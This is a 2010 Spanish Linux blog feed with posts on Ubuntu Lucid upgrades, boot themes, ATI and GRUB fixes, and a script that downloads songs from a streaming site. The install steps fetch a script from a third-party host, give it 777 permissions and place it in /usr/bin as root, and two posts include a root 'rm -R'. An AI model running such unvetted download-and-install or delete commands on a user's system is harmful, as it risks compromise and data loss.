center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S97kcO04iJI/AAAAAAAAAeM/5seaD5Bq8J0/s1600/toma_denunca_disco_duro_xd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S97kcO04iJI/AAAAAAAAAeM/5seaD5Bq8J0/s320/toma_denunca_disco_duro_xd.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;pulsar para agrandar&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;Muy bien, os habéis salido, tenemos el nombre y la dirección de un disco duro decomisado el 10/10/08. ¿Qué podrá tener este disco duro? Buscarlo y seguro que lo encontráis.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;¡Qué cagada!&lt;br /&gt;&lt;br /&gt;Actualización:&lt;br /&gt;Se me han adelantado... el compañero de &lt;a href="http://blog.48bits.com/2010/05/01/%C2%BFquien-vigila-al-vigilante/"&gt;48bits&lt;/a&gt; pone pixeles en la foto pero entra en la carnaza a muerte ... jajaja &lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-514998138159719975?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/514998138159719975/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/05/reporteros-cuatro-privacidad-en.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/514998138159719975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/514998138159719975'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/05/reporteros-cuatro-privacidad-en.html' title='Reporteros Cuatro - Privacidad en Internet y FAIL'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S97l2YPjvRI/AAAAAAAAAeU/mb9IMc9zZPM/s72-c/facepalm.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-1432873626362404171</id><published>2010-05-02T05:42:00.002+02:00</published><updated>2010-05-02T13:58:16.681+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sonido'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Don ZeYt ft Pasku Presenta: php goear downloader v 0.1</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S9z0ExhN6DI/AAAAAAAAAeE/M_8HhuJQ1ls/s1600/goear.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S9z0ExhN6DI/AAAAAAAAAeE/M_8HhuJQ1ls/s320/goear.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Como muchos sabréis &lt;b&gt;goear&lt;/b&gt; es un &lt;b&gt;servicio de streaming de canciones gratuito&lt;/b&gt; en internet. Esta web emplea un reproductor de flash para reproducir las canciones y no "permite descargar las canciones".&lt;br /&gt;&lt;br /&gt;Existen varias soluciones para poder "ripear" esta música pero sin duda he pensado en que la más óptima y rápida es la línea de comandos de tu sistema operativo.&lt;br /&gt;&lt;br /&gt;El funcionamiento es bastante sencillo, tan sólo hay que ejecutar el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt; &lt;b&gt;goear URL [DIRECTORIO]&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;La URL es obligatoria, el directorio es opcional y es la ruta completa del directorio donde quieres que se guarde la canción.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;INSTRUCCIONES INSTALACIÓN &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Requisitos:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;PHP5&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install php5-cli&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Instalación:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;wget http://www.mma-clips.com/zeyt/goear/descargar.php?file=1&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo chmod 777 goear &lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sudo cp goear /usr/bin&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Ejemplo de uso: &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;goear http://www.goear.com/listen/323ab17/cuanto-cantautor-koma&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size: xx-small;"&gt;&lt;b&gt;goear http://www.goear.com/listen/38f2ed6/dreams-machine-%28downtempo-mix%29-mark-farina /home/zeyt/Escritorio/Downtempo&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&amp;nbsp;Notas:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;1 - Si tenéis algún problema a la hora de descargar poner la URL de la canción entre comillas. goear "URL"&lt;/div&gt;&lt;div style="text-align: left;"&gt;2 - El tercer parámetro es el directorio de descarga. Es opcional, si no lo pones guardará la canción en tu Escritorio.&lt;/div&gt;&lt;div style="text-align: left;"&gt;3 - El tiempo de ejecución puede variar dependiendo de tu conexión a internet.&lt;/div&gt;&lt;div style="text-align: left;"&gt;4 - Para escoger las canciones deberéis entrar en &lt;a href="http://www.goear.com%20/"&gt;www.goear.com &lt;/a&gt;y usar el buscador. Una vez lleguéis a la canción, copiar la dirección y usar el comando.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Agradecimientos:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Pasku&lt;/b&gt;: por el script original en el que se ha basado este. Este programa es una adaptación del suyo para utilizarlo vía línea de comandos.&lt;/div&gt;&lt;div style="text-align: left;"&gt;Lucena: Te dedico el post con tu tema de Koma&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: right;"&gt;&lt;b&gt;php goear downloader v 0.1 a.k.a goear&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-1432873626362404171?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/1432873626362404171/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/05/don-zeyt-ft-pasku-presenta-script.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1432873626362404171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/1432873626362404171'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/05/don-zeyt-ft-pasku-presenta-script.html' title='Don ZeYt ft Pasku Presenta: php goear downloader v 0.1'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S9z0ExhN6DI/AAAAAAAAAeE/M_8HhuJQ1ls/s72-c/goear.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-347770717752912926</id><published>2010-04-30T16:18:00.002+02:00</published><updated>2010-04-30T16:24:01.741+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Optimizaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Plymouth'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Lucid - Cambiar pantalla de inicio (Plymouth theme)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S9rn28-bnqI/AAAAAAAAAd8/aLuz9sjmXys/s1600/2qtv98l.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S9rn28-bnqI/AAAAAAAAAd8/aLuz9sjmXys/s320/2qtv98l.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Uno de los cambios de la nueva versión ha sido quitar el antiguo sistema de carga que mostraba una bonita línea cargando, usplash por plymouth el actual usado por otras distribuciones como Fedora. Donde no acertaron tanto es el tema que escogieron para cargar. El color morado es horrendo pero tranquilos, se puede cambiar.&lt;br /&gt;&lt;br /&gt;En este caso yo he escogido el tema solar que es el usado por Fedora y que además es mucho más bonito y está en los repositorios. Para instalarlo tan solo hay que ejecutar el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install plymouth-theme-solar&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado lo pondremos como plantilla por defecto con el comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo update-alternatives --config default.plymouth&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez escogido el theme solar (en mi caso aparece con el 1) escribimos 1 y aceptamos.&lt;br /&gt;&lt;br /&gt;Por último actualizamos la carga de inicio con el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&amp;nbsp;&lt;b&gt;sudo update-initramfs -u&amp;nbsp; &lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Por último reiniciamos y veréis la mejora!&lt;br /&gt;En próximas entregas veremos como auto-motnar el fstab (que ha dejado de funcionar en Lucid)&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-347770717752912926?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/347770717752912926/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-cambiar-pantalla-de-inicio_30.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/347770717752912926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/347770717752912926'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-cambiar-pantalla-de-inicio_30.html' title='Lucid - Cambiar pantalla de inicio (Plymouth theme)'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S9rn28-bnqI/AAAAAAAAAd8/aLuz9sjmXys/s72-c/2qtv98l.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-6693074706556947060</id><published>2010-04-30T15:48:00.000+02:00</published><updated>2010-04-30T15:48:47.005+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Lucid - Opinión personal proceso de actualización.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S9rdrelM2YI/AAAAAAAAAd0/8J0pkBv2XBw/s1600/lince-iberico-lucid-lynx.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S9rdrelM2YI/AAAAAAAAAd0/8J0pkBv2XBw/s320/lince-iberico-lucid-lynx.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Intentando echar una mano a&lt;b&gt; Canonical para no saturar los servidores&lt;/b&gt; me descargué la versión de Ubuntu 10.4 &lt;b&gt;desde las redes torrent p2p&lt;/b&gt;. Monté el CD para usarlo como &lt;b&gt;espejo local de repositorios para actualizar el sistema a la 10.4 &lt;/b&gt;pero no me lo detectó por lo que tuve que tirar un CD y &lt;b&gt;grabar la iSO&lt;/b&gt; para que así me lo reconociera.&lt;br /&gt;&lt;br /&gt;Una vez montado el repositorio &lt;b&gt;empecé la actualización&lt;/b&gt; pero no tuve los resultados que esperaba porque &lt;b&gt;me faltaban gran parte de los paquetes&lt;/b&gt; y la única parte que actualicé fue la llamada &lt;b&gt;ubuntu-minimal&lt;/b&gt; que contiene más o menos los programas básicos del sistema pero no era lo que buscaba.&lt;br /&gt;&lt;br /&gt;Por todo ello procedí a hacer la &lt;b&gt;actualización a través del gestor de paquetes&lt;/b&gt; y me dio un problema de versiones en las fuentes de los repositorios. Intenté arreglarlo mediante comandos pero &lt;b&gt;la cosa no funcionó&lt;/b&gt;. Al final a &lt;b&gt;mano dura borre todos los orígenes del software que no fueran los originales&lt;/b&gt;, entre ellos el CD y la cosa mejoró ya que &lt;b&gt;por fin pude actualizar&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Tras media hora de rigor de descarga a 1,5 mb por segundo (me va bastante bien el internet) comenzó la actualización. La verdad que yo &lt;b&gt;pensé que sería más desatendida&lt;/b&gt; pero no lo fue. Durante el proceso me salieron &lt;b&gt;2 errores de descarga y dos ventanas advirtiendome de los cambios&lt;/b&gt; que se iban a realizar en ficheros especiales como la configuración de GDM.&lt;br /&gt;&lt;br /&gt;En cualquier caso tras casi finalizar la instalación de Lucid me encontré con un problema y es que &lt;b&gt;fglrx estaba corrupto&lt;/b&gt; en los repositorios de Ubuntu o eso es lo que comentaba el gestor de actualización que salía anomalamente del proceso de actualización.&lt;br /&gt;&lt;br /&gt;En cualquier caso pensando en que ya tendría que formatear porque habría perdido la configuración del XORG &lt;b&gt;me tiré al río y reinicié el ordenador&lt;/b&gt;. Mi sorpresa fue que efectivamente ya tenía Lucid, lo pude ver por la &lt;b&gt;nueva ventana de acceso de GRUB&lt;/b&gt; que tiene un &lt;b&gt;horrendo color morado&lt;/b&gt; (ya diré como cambiarlo).&lt;br /&gt;&lt;br /&gt;Sobre el tiempo de carga la verdad que ha disminuido pero tampoco se puede decir que sea una barbaridad. Antes iniciaba rápido, ahora también, luego poco hemos ganado.&lt;br /&gt;&lt;br /&gt;Tras iniciar efectivamente había perdido la aceleración gráfica pero por lo menos funcionaba uno de los monitores aunque tenía el fondo negro porque parece que han borrado las bonitas cerezas de fondo de pantalla que tenía que me vinieron con Karmic.&lt;br /&gt;&lt;br /&gt;Tras volver a configurar Gnome a mi gusto, borré la carpeta del antiguo driver mediante el comando sudo &lt;b&gt;rm -R /usr/share/ati&lt;/b&gt; y comencé a hacer una instalación a capón y la sorpresa aún más grata es que funcionó.&lt;br /&gt;&lt;br /&gt;En cualquier caso comienzo a ver los cambios en GNOME, todo más bonito y veo que me hacen un cambio en la barra de salida incluyéndome un estado en el que puedo conectarme mediante &lt;b&gt;Epiphany&lt;/b&gt; (lo llevan claro soy de emesene) y también puedo conectarme a facebook( que no tengo).&lt;br /&gt;&lt;br /&gt;Esto está muy bien si usas estos servicios pero desde luego yo no lo uso y no puedo quitarlo de momento (ya diremos más adelante como hacerlo).&lt;br /&gt;&lt;br /&gt;En cuanto a los programas, podemos disfrutar del a rapidísima nueva versión de &lt;b&gt;emesene&lt;/b&gt;, &lt;b&gt;thunderbird3&lt;/b&gt;, &lt;b&gt;firefox&lt;/b&gt; nuevo (estable al fin) y una sorpresa un tanto desagradable al abrir el &lt;b&gt;rythmbox&lt;/b&gt; ya que me encontré con un feo &lt;b&gt;SPAM&lt;/b&gt; de &lt;b&gt;Ubuntu Music Store&lt;/b&gt; que ni me va ni me viene.&lt;br /&gt;&lt;br /&gt;En cualquier caso la carga del sistema sigue siendo igual, los programas tienen nuevas mejoras y el ordenador parece más estable. Eso sí, no sé porque otra vez tuve problemas con el eclipse que he tenido que reinstalarlo para que todo funcionara correctamente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-6693074706556947060?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/6693074706556947060/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-opinion-personal-proceso-de.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6693074706556947060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/6693074706556947060'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-opinion-personal-proceso-de.html' title='Lucid - Opinión personal proceso de actualización.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_adYnwobHI2E/S9rdrelM2YI/AAAAAAAAAd0/8J0pkBv2XBw/s72-c/lince-iberico-lucid-lynx.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4077695462767956481</id><published>2010-04-30T15:27:00.000+02:00</published><updated>2010-04-30T15:27:09.951+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Como actualizar de Karmic a Lucid</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S9rahmZ4LzI/AAAAAAAAAds/PPMG07lYK5Q/s1600/lince-iberico-lucid-lynx.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S9rahmZ4LzI/AAAAAAAAAds/PPMG07lYK5Q/s320/lince-iberico-lucid-lynx.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Muchos usuarios queréis actualizar ya a Lucid. El proceso es bastante fácil aunque dura aproximadamente&lt;b&gt; 2 horas&lt;/b&gt; sin contar con el &lt;b&gt;tiempo de descarga de los 1700 paquetes&lt;/b&gt;.&lt;br /&gt;En cualquier caso,&amp;nbsp; la mejor forma de hacerlo gráficamente es pulsar sobre &lt;b&gt;Sistema &amp;gt; Administración &amp;gt; Gestor de actualizaciones&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Una vez realizado deberéis encontrar un anuncio de actualización y un botón sobre el que deberéis pinchar para comenzar el proceso.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S9racm4sWSI/AAAAAAAAAdk/qdu3ar77Lyg/s1600/UpdateAvailable.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S9racm4sWSI/AAAAAAAAAdk/qdu3ar77Lyg/s320/UpdateAvailable.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Os recuerdo que es aconsejable esperar una semana de rigor porque suelen traer bastante fallos las nuevas versiones. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4077695462767956481?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4077695462767956481/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/como-actualizar-de-karmic-lucid.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4077695462767956481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4077695462767956481'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/como-actualizar-de-karmic-lucid.html' title='Como actualizar de Karmic a Lucid'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_adYnwobHI2E/S9rahmZ4LzI/AAAAAAAAAds/PPMG07lYK5Q/s72-c/lince-iberico-lucid-lynx.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-4526021830001735990</id><published>2010-04-30T15:20:00.000+02:00</published><updated>2010-04-30T15:20:31.888+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ATi'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Lucid - Fallo con el driver privativo de ati.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S9rYvKsDO7I/AAAAAAAAAdc/GgNPG-ztubw/s1600/lince-iberico-lucid-lynx.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S9rYvKsDO7I/AAAAAAAAAdc/GgNPG-ztubw/s320/lince-iberico-lucid-lynx.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Muchos usuarios que emplean el &lt;b&gt;driver privativo de ATI&lt;/b&gt; para sus tarjetas gráficas están encontrando &lt;b&gt;problemas&lt;/b&gt; a la hora de &lt;b&gt;actualizar a Lucid &lt;/b&gt;ya que están &lt;b&gt;perdiendo la aceleración gráfica&lt;/b&gt; y el proceso de actualización se cancela pudiendo tener consecuencias bastantes graves en algunos casos muy extremos.&lt;br /&gt;&lt;br /&gt;En cualquier caso la &lt;b&gt;solución es bastante fácil&lt;/b&gt;, &lt;b&gt;los usuarios que tengan el driver privativo instalado desde los repositorios de Ubuntu&lt;/b&gt; no deben preocuparse pero&lt;b&gt; los que lo instalaron a través de la página oficial de ATI&lt;/b&gt; sí y&lt;b&gt; deberán corregir su fallo con un simple comando&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo rm -R /usr/share/ati&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez &lt;b&gt;borrada la carpeta&lt;/b&gt; se deberá &lt;b&gt;proceder a la actualización&lt;/b&gt; y no tendréis más problemas. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-4526021830001735990?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/4526021830001735990/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-fallo-con-el-driver-privativo-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4526021830001735990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/4526021830001735990'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-fallo-con-el-driver-privativo-de.html' title='Lucid - Fallo con el driver privativo de ati.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S9rYvKsDO7I/AAAAAAAAAdc/GgNPG-ztubw/s72-c/lince-iberico-lucid-lynx.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7710048280609735968</id><published>2010-04-30T15:14:00.001+02:00</published><updated>2010-04-30T15:20:57.475+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Lucid - Primer Fallo con Grub</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S9rXvK4rEpI/AAAAAAAAAdU/H8jNLf9tesI/s1600/lince-iberico-lucid-lynx.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S9rXvK4rEpI/AAAAAAAAAdU/H8jNLf9tesI/s320/lince-iberico-lucid-lynx.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ayer tras el esperado lanzamiento de Lucid comenzaron los primeros fallos y es que parece que cannonical no había probado la nueva versión del GRUB que dio problemas a los usuarios que dispusieran más un sistema operativo instalado, haciendo desaparecer de la lista los otros sistemas operativos.&lt;br /&gt;&lt;br /&gt;Un fallo más molesto que grave pero que hizo corregir al equipo a toda velocidad el CD causando que se repitieran las descargas de algunos usuarios.&lt;br /&gt;&lt;br /&gt;En cualquier gracias al civismo de la comunidad, las redes no se saturaron ya que mucha gente usó sistemas P2P como los torrents para conseguir sus imágenes de CD.&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7710048280609735968?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7710048280609735968/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-primer-fallo-con-grub.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7710048280609735968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7710048280609735968'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/04/lucid-primer-fallo-con-grub.html' title='Lucid - Primer Fallo con 